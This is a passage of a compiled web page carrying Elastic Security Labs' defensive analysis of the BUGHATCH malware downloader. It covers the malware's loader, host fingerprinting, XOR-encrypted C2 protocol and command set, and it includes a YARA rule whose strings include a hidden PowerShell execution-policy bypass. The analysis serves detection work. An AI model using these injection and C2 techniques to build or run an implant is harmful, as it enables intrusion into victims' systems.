\"Trojan\"\n family = \"BUGHATCH\"\n threat_name = \"Windows.Trojan.BUGHATCH\"\n reference_sample = \"b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f\"\n\n strings:\n $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }\n $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }\n $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }\n $c1 = \"-windowstyle hidden -executionpolicy bypass -file\"\n $c2 = \"C:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n $c3 = \"ReflectiveLoader\"\n $c4 = \"\\\\Sysnative\\\\\"\n $c5 = \"TEMP%u.CMD\"\n $c6 = \"TEMP%u.PS1\"\n $c7 = \"\\\\TEMP%d.%s\"\n $c8 = \"NtSetContextThread\"\n $c9 = \"NtResumeThread\"\n\n condition:\n any of ($a*) or 6 of ($c*)\n}\n```\n","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var i in e)a(n,i,{get:e[i],enumerable:!0})},o=(n,e,i,l)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!u.call(n,r)\u0026\u0026r!==i\u0026\u0026a(n,r,{get:()=\u003ee[r],enumerable:!(l=m(e,r))||l.enumerable});return n};var y=(n,e,i)=\u003e(i=n!=null?d(g(n)):{},o(e||!n||!n.__esModule?a(i,\"default\",{value:n,enumerable:!0}):i,n)),b=n=\u003eo(a({},\"__esModule\",{value:!0}),n);var c=f((E,s)=\u003e{s.exports=_jsx_runtime});var P={};w(P,{default:()=\u003eT,frontmatter:()=\u003eC});var t=y(c()),C={title:\"BUGHATCH Malware Analysis\",slug:\"bughatch-malware-analysis\",date:\"2022-09-09\",subtitle:\"Malware analysis of the BUGHATCH downloader.\",description:\"Elastic Security has performed a deep technical analysis of the BUGHATCH malware. This includes capabilities as well as defensive countermeasures.\",author:[{slug:\"salim-bitam\"}],image:\"libraries-edev-ops-1680x980.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"bughatch\",\"cuba\",\"ref9019\"]};function h(n){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",a:\"a\",p:\"p\",blockquote:\"blockquote\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",strong:\"strong\",img:\"img\",h4:\"h4\",pre:\"pre\",code:\"code\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis\",rel:\"nofollow\",children:\"campaign\"})]}),`\n`,(0,t.jsx)(e.li,{children:\"This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"From this research we produced a \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar\",rel:\"nofollow\",children:\"YARA rule\"}),\" to detect the BUGHATCH downloader\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"BUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"BUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as \",(0,t.jsx)(e.a,{href:\"https://www.mandiant.com/resources/unc2596-cuba-ransomware\",rel:\"nofollow\",children:\"TERMITE by Mandiant\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT\u0026CK mapping can be found in the appendix.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this analysis we will describe the following:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Token adjustment\"}),`\n`,(0,t.jsx)(e.li,{children:\"Information collection\"}),`\n`,(0,t.jsx)(e.li,{children:\"Threading and thread synchronization\"}),`\n`,(0,t.jsx)(e.li,{children:\"Network communication protocol\"}),`\n`,(0,t.jsx)(e.li,{children:\"Command handling\"}),`\n`]}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis\",rel:\"nofollow\",children:\"CUBA Ransomware Campaign\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis\",rel:\"nofollow\",children:\"CUBA Malware Analysis\"})}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"static-analysis\",children:\"Static analysis\"}),`\n`,(0,t.jsx)(e.p,{children:`| | |\n| ------------ | ---------------------------------------------------------------- | --- |\n| SHA256 | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |\n| File Size | 35840 bytes |\n| File Type: | Win32 executable |\n| Signed? | No |\n| Packer? | No |\n| Compiler | Visual Studio 2017 - 15.5.0 preview 2 |\n| Compile Time | Sun Feb 06 21:05:18 2022 | UTC |\n| Entropy | 6.109 |`}),`\n`,(0,t.jsx)(e.h3,{id:\"sections\",children:\"Sections\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Name\"}),(0,t.jsx)(e.td,{children:\"VirtualAddress\"}),(0,t.jsx)(e.td,{children:\"Virtual Size\"}),(0,t.jsx)(e.td,{children:\"Raw Size\"}),(0,t.jsx)(e.td,{children:\"Entropy\"}),(0,t.jsx)(e.td,{children:\"MD5\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\".text\"}),(0,t.jsx)(e.td,{children:\"0x1000\"}),(0,t.jsx)(e.td,{children:\"0x6000\"}),(0,t.jsx)(e.td,{children:\"0x5400\"}),(0,t.jsx)(e.td,{children:\"5.933\"}),(0,t.jsx)(e.td,{children:\"A6E30CCF838569781703C943F18DC3F5\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\".rdata\"}),(0,t.jsx)(e.td,{children:\"0x7000\"}),(0,t.jsx)(e.td,{children:\"0x3000\"}),(0,t.jsx)(e.td,{children:\"0x2A00\"}),(0,t.jsx)(e.td,{children:\"6.217\"}),(0,t.jsx)(e.td,{children:\"9D9AD1251943ECACE81644A7AC320B3C\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\".data\"}),(0,t.jsx)(e.td,{children:\"0xA000\"}),(0,t.jsx)(e.td,{children:\"0x1000\"}),(0,t.jsx)(e.td,{children:\"0x400\"}),(0,t.jsx)(e.td,{children:\"1.163\"}),(0,t.jsx)(e.td,{children:\"B983B8EB258220628BE2A88CA44286B4\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\".reloc\"}),(0,t.jsx)(e.td,{children:\"0xB000\"}),(0,t.jsx)(e.td,{children:\"0x424\"}),(0,t.jsx)(e.td,{children:\"0x600\"}),(0,t.jsx)(e.td,{children:\"5.235\"}),(0,t.jsx)(e.td,{children:\"39324A58D79FC5B8910CBD9AFBF1A6CB\"})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( \",(0,t.jsx)(e.strong,{children:\"VirtualAlloc\"}),\" , \",(0,t.jsx)(e.strong,{children:\"CreateThread, WaitForSingleObject\"}),\" ).\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image12.jpg\",alt:\"Pseudocode PowerShell inline C#\",width:\"1440\",height:\"737\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image10.png\",alt:\"Pseudocode embedded shellcode in Base64 format\",width:\"1440\",height:\"375\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script first decodes the reverse-Base64 encoded data, then allocates a memory region with \",(0,t.jsx)(e.strong,{children:\"VirtualAlloc\"}),\" before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the \",(0,t.jsx)(e.strong,{children:\"CreateThread\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image38.jpg\",alt:\"Pseudocode PowerShell creates a new thread to execute the shellcode\",width:\"1440\",height:\"128\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.\"}),`\n`,(0,t.jsx)(e.p,{children:\"This section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following is a diagram summarizing the execution flow of the implant:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image16.png\",alt:\"Execution flow diagram of BUGHATCH\",width:\"1440\",height:\"1576\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image15.jpg\",alt:\"Pseudocode of the main function\",width:\"874\",height:\"1032\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"token-adjustment\",children:\"Token adjustment\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The implant starts by elevating permissions using the \",(0,t.jsx)(e.strong,{children:\"SeDebugPrivilege\"}),\" method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image20.jpg\",alt:\"\",width:\"1292\",height:\"646\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"information-collection\",children:\"Information collection\"}),`\n`,(0,t.jsx)(e.p,{children:\"The malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following lists the collected information:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Current value of the performance counter\"}),`\n`,(0,t.jsx)(e.li,{children:\"Network information\"}),`\n`,(0,t.jsx)(e.li,{children:\"System information\"}),`\n`,(0,t.jsx)(e.li,{children:\"Token information\"}),`\n`,(0,t.jsx)(e.li,{children:\"Domain and Username of the current process\"}),`\n`,(0,t.jsx)(e.li,{children:\"Current process path\"}),`\n`]}),`\n`,(0,t.jsx)(e.h4,{id:\"current-value-of-the-performance-counter\",children:\"Current value of the performance counter\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using the \",(0,t.jsx)(e.strong,{children:\"QueryPerformanceCounter\"}),\" API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image42.jpg\",alt:\"Pseudocode QueryPerformanceCounter function\",width:\"1138\",height:\"300\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"network-information\",children:\"Network information\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"It collects the addresses of network interfaces connected to the infected machine by using the \",(0,t.jsx)(e.strong,{children:\"GetIpAddrTable\"}),\" Windows API.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image22.jpg\",alt:\"Pseudocode collecting interface addresses\",width:\"1162\",height:\"644\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"system-information\",children:\"System information\"}),`\n`,(0,t.jsx)(e.p,{children:\"BUGHATCH collects key system information which includes:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Windows major release, minor release, and build number\"}),`\n`,(0,t.jsx)(e.li,{children:\"Processor architecture (either 32-bit or 64-bit)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Computer name\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image18.jpg\",alt:\"Pseudocode collecting system information\",width:\"1440\",height:\"879\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"token-information\",children:\"Token information\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The agent proceeds to collect the current process token group membership, it invokes the \",(0,t.jsx)(e.strong,{children:\"AllocateAndInitializeSid\"}),\" API followed by the \",(0,t.jsx)(e.strong,{children:\"CheckTokenMembership\"}),\" API, concatenating the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings\",rel:\"nofollow\",children:\"SDDL SID strings\"}),\" for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html\",rel:\"nofollow\",children:\"Enumeration of Privileged Local Groups Membership\"}),\" detection rule.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image29.jpg\",alt:\"Pseudocode collecting token group membership information\",width:\"1440\",height:\"643\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"domain-and-username-of-the-current-process\",children:\"Domain and username of the current process\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware opens a handle to the current process with \",(0,t.jsx)(e.strong,{children:\"OpenProcessToken\"}),\" and gets the structure that contains the user account of the token with \",(0,t.jsx)(e.strong,{children:\"GetTokenInformation\"}),\". It then retrieves the username and domain of the user account with the \",(0,t.jsx)(e.strong,{children:\"LookupAccountSidW\"}),\" API and concatenates the 2 strings in the following format: \",(0,t.jsx)(e.strong,{children:\"DOMAIN\\\\USERNAME\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image14.jpg\",alt:\"\",width:\"1440\",height:\"1119\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"current-process-path\",children:\"Current process path\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Finally, it collects the current process path with \",(0,t.jsx)(e.strong,{children:\"GetModuleFileNameW\"}),\". The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"threading-and-thread-synchronization\",children:\"Threading and thread synchronization\"}),`\n`,(0,t.jsx)(e.p,{children:\"The implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"It spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the \",(0,t.jsx)(e.strong,{children:\"CriticalSection\"}),\" object. The main process\\u2019 thread also retrieves the command's output from the second linked list using the \",(0,t.jsx)(e.strong,{children:\"CriticalSection\"}),\" object for synchronization purposes, to avoid any race conditions.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image45.jpg\",alt:\"Pseudocode of the thread creation function\",width:\"1100\",height:\"452\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"network-communication-protocol\",children:\"Network communication protocol\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this section we will detail:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Base communication protocol\"}),`\n`,(0,t.jsx)(e.li,{children:\"Encryption implementation\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.\"}),`\n`,(0,t.jsx)(e.p,{children:\"When launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim\\u2019s machine, the C2 then responds with the operator\\u2019s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command\\u2019s output, otherwise, it sends the collected information and waits for new commands.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image32.png\",alt:\"Example of an implant HTTP POST request to an emulated C2 server\",width:\"1440\",height:\"370\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"base-communication-protocol\",children:\"Base communication protocol\"}),`\n`,(0,t.jsx)(e.p,{children:\"The author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/BugHatchanalysisreport_html.jpg\",alt:\"BUGHATCH agent and server communications\",width:\"1440\",height:\"149\"})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"XOR key values:\"}),\" The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Separator:\"}),\" A static value ( \",(0,t.jsx)(e.strong,{children:\"0x389D3AB7\"}),\" ) that separates \",(0,t.jsx)(e.strong,{children:\"Msg\"}),\" chunks, example: the server can send different instructions in the same HTTP request separated by the \",(0,t.jsx)(e.strong,{children:\"Separator\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Chunk length:\"}),\" Is the length of the \",(0,t.jsx)(e.strong,{children:\"Msg\"}),\" , \",(0,t.jsx)(e.strong,{children:\"Separator\"}),\" and \",(0,t.jsx)(e.strong,{children:\"Chunk length\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Msg:\"}),\" Is the message to be sent, the message differs from the agent to the server.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We will dive deeper into the encapsulation of the \",(0,t.jsx)(e.strong,{children:\"Msg\"}),\" for both the agent and the server.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image40.jpg\",alt:\"Pseudocode extracting commands according to the separator value\",width:\"1200\",height:\"364\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"encryption-implementation\",children:\"Encryption implementation\"}),`\n`,(0,t.jsx)(e.p,{children:\"The malware uses 2-byte XOR encryption when communicating with the C\u0026C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The agent uses two DWORD values returned by \",(0,t.jsx)(e.strong,{children:\"QueryPerformanceCounter\"}),\" API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`tmp = (PerformanceCount[0] ^ PerformanceCount[1]) \u0026 0xFFFFFFFF\nXorKey = (0x343FD * tmp + 0x269EC3)\u0026 0xFFFFFFFF\nXorKey = p16(XorKey \u003e\u003e 16).ljust(2, b'\\\\x00')\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image9.jpg\",alt:\"Pseudocode of the encryption implementation\",width:\"996\",height:\"674\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"command-handling\",children:\"Command handling\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this section, we will dive deeper into the functionalities implemented in the agent and their respective \",(0,t.jsx)(e.strong,{children:\"Msg\"}),\" structure that will be encapsulated in the base communication protocol structure as mentioned previously.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Once the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Send POST request\"}),`\n`,(0,t.jsx)(e.li,{children:\"Decrypt the received command and add it to the linked list\"}),`\n`,(0,t.jsx)(e.li,{children:\"Sleep for 60 seconds\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A working thread will first execute the \",(0,t.jsx)(e.strong,{children:\"RemoveEntryRecvLinkedList\"}),\" function that accesses and retrieves the data sent by the C2 server from the linked list.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/bughatch-malware-analysis/image43.jpg\",alt:\"Pseudocode retrieves data sent by the C2\",width:\"1328\",height:\"704\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The thread will then de-encapsulate the data received from the C2 and extract the \",(0,t.jsx)(e.strong,{children:\"Msg(Command)\"}),\". The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:\"]}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Command FLAG\"}),(0,t.jsx)(e.td,{children:\"Description\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"1\"}),(0,t.jsx)(e.td,{children:\"Group functions related to code and command execution\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2\"}),(0,t.jsx)(e.td,{children:\"Group functions related to utilities like impersonation and migration\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"3\"}),(0,t.jsx)(e.td,{children:\"Process injection of a PE file in a suspended child process\"})]})]})]})}),`\n`,(0,t.jsx)(e.h3,{id:\"command-1\",children:\"Command 1\"}),`\n`,(0,t.jsx)(e.p,{children:\"This command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Some of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc\\u2026\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following is the list of sub commands:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Sub Command Flag\"}),(0,t.jsx)(e.td,{children:\"Function Name\"}),(0,t.jsx)(e.td,{children:\"Functionality description\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"2\"}),(0,t.jsx)(e.td,{children:\"ReflectivelyExecutePERemote\"}),(0,t.jsx)(e.td,{children:\"Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"3\"}),(0,t.jsx)(e.td,{children:\"DropPEDiskExecute\"}),(0,t.jsx)(e.td,{children:\"Drops a PE file to disk and executes it, the execution output is then sent to the operator\\u2019s C2 server\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"4\"}),(0,t.jsx)(e.td,{children:\"SelfShellcodeExecute\"}),(0,t.jsx)(e.td,{children:\"Executes a shellcode in the same process\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"5\"}),(0,t.jsx)(e.td,{children:\"RemoteShellcodeExecute\"}),(0,t.jsx)(e.td,{children:\"Executes a shellcode in a suspended spawned child process\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"6\"}),(0,t.jsx)(e.td,{children:\"ExecuteCmd\"}),(0,t.jsx)(e.td,{children:\"Executes a CMD script/command\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"7\"}),(0,t.jsx)(e.td,{children:\"ExecutePowershell\"}),(0,t.jsx)(e.td,{children:\"Executes a Powershell script/command\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"9\"}),(0,t.jsx)(e.td,{children:\"ReflectivelyLoadDllRemote\"}),(0,t.jsx)(e.td,{children:\"Executes a DLL reflectively in a remote process using CreateRemoteThread API\"})]})]})]})}),`\n`,(0,t.jsx)(e.p,{children:\"The following is the structure that is used by the above commands:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`struct ExecutePayloadCommandStruct\n{\n DWORD commandFlag;\n DWORD field_0;\n DWORD subCommandFlag_1;\n DWORD readPipeTimeOut_2;\n DWORD payloadSize_3;\n DWORD commandLineArgumentSize_4;\n DWORD STDINDataSize_5;\n CHAR payload_cmdline_stdin[n];\n};\n`})}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"commandFlag:\"}),\" Indicates the command\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"subCommandFlag:\"}),\" Indicates the subcommand\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"readPipeTimeOut:\"}),\" Indicates the timeout for reading the output of child processes from a pipe\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"payloadSize:\"}),\" Indicates the payload size\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"commandLineArgumentSize:\"}),\" Indicates length of the command line arguments when executing the payload, example a PE binary\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"STDINDataSize:\"}),\" Indicates the length of the standard input data that will be sent to the child process\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Payload_cmdline_stdin:\"}),\" Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h4,{id:\"reflectivelyexecuteperemote\",children:\"ReflectivelyExecutePERemote\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either \",(0,t.jsx)(e.strong,{children:\"cmd.exe\"}),\" or \",(0,t.jsx)(e.strong,{children:\"svchost.exe\"}),\" ). The agent leverages \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes\",rel:\"nofollow\",children:\"anonymous (unnamed) pipes\"}),\" within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the \",(0,t.jsx)(e.strong,{children:\"STARTUPINFO\"}),\" structure of the child 